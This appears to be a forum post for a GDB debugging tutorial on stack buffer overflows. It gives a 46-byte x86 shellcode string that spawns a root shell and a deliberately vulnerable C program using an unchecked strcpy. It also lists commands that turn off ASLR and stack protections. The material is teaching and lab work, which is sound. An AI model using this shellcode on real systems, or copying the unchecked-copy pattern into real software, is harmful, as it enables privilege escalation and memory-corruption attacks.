Debugging – GDB Tutorial

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You need to know how to debug your program to make it easier to correct any bugs. Here’s a tutorial video using GDB or GNU Debugger tool.

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Additional resources.
http://www.brendangregg.com/blog/2016-08-09/gdb-example-ncurses.html (GDB)
http://phrack.org/issues/49/14.html (Buffer Overflow Concepts)
https://www.cprogramming.com/gdb.html (GDB)
https://docs.python.org/3/tutorial/
https://www.hacksplaining.com ( For SQL injection / Javascript / XSS/ CSRF Vulnerabilities)

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Another good tutorial using GDB program.

NOTE: If this tutorial is not working it is likely that you have aslr enabled. To disable it run the following command in your terminal
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
When you are finished I strongly recommend you turn it back on with the command
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

The 46 byte shellcode (x86*) used in this program is
“\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”

# Sample buffer overflow program.
Save to example.c program

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
	char buf[256];
	strcpy(buf, argv[1]);
	printf("%s\n", buf);
	return 0;
}

• This reply was modified 2 years, 7 months ago by Support @QUE.COM.

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1. gcc -o example example.c // compile your program
2. gdb ./example // run GNU Debug
3. (gdb) disas main // run disassembly main
take note of the address, this is for 64bit.

Now for 32bits compile code.
gcc -o example -fno-stack-protector -m32 -z execstack example.c // not working
gcc -o example -m32 example.c
Command: gcc -m32 geek.c -o geek

fatal error: bits/predefs.h: No such file or directory
Then it indicates that a standard library of gcc is been missing. In that case you must install gcc-multlib by using the following command:

For C language:
sudo apt-get install gcc-multilib

alias python=python3 // to set python to python3

to anyone getting :
Cannot insert breakpoint 1.
Cannot access memory at address xxxxxx

the displayed memory addresses when you run disassemble main at first are not correct .
to get the correct ones run the commands as follow:

gdb ./example
run aaaaawhatever
disassemble main or disas main

now you get the correct ones copy it and quit gdb
gdb ./example
break *the address you copied

now running the command (run $(python ……..) will work.

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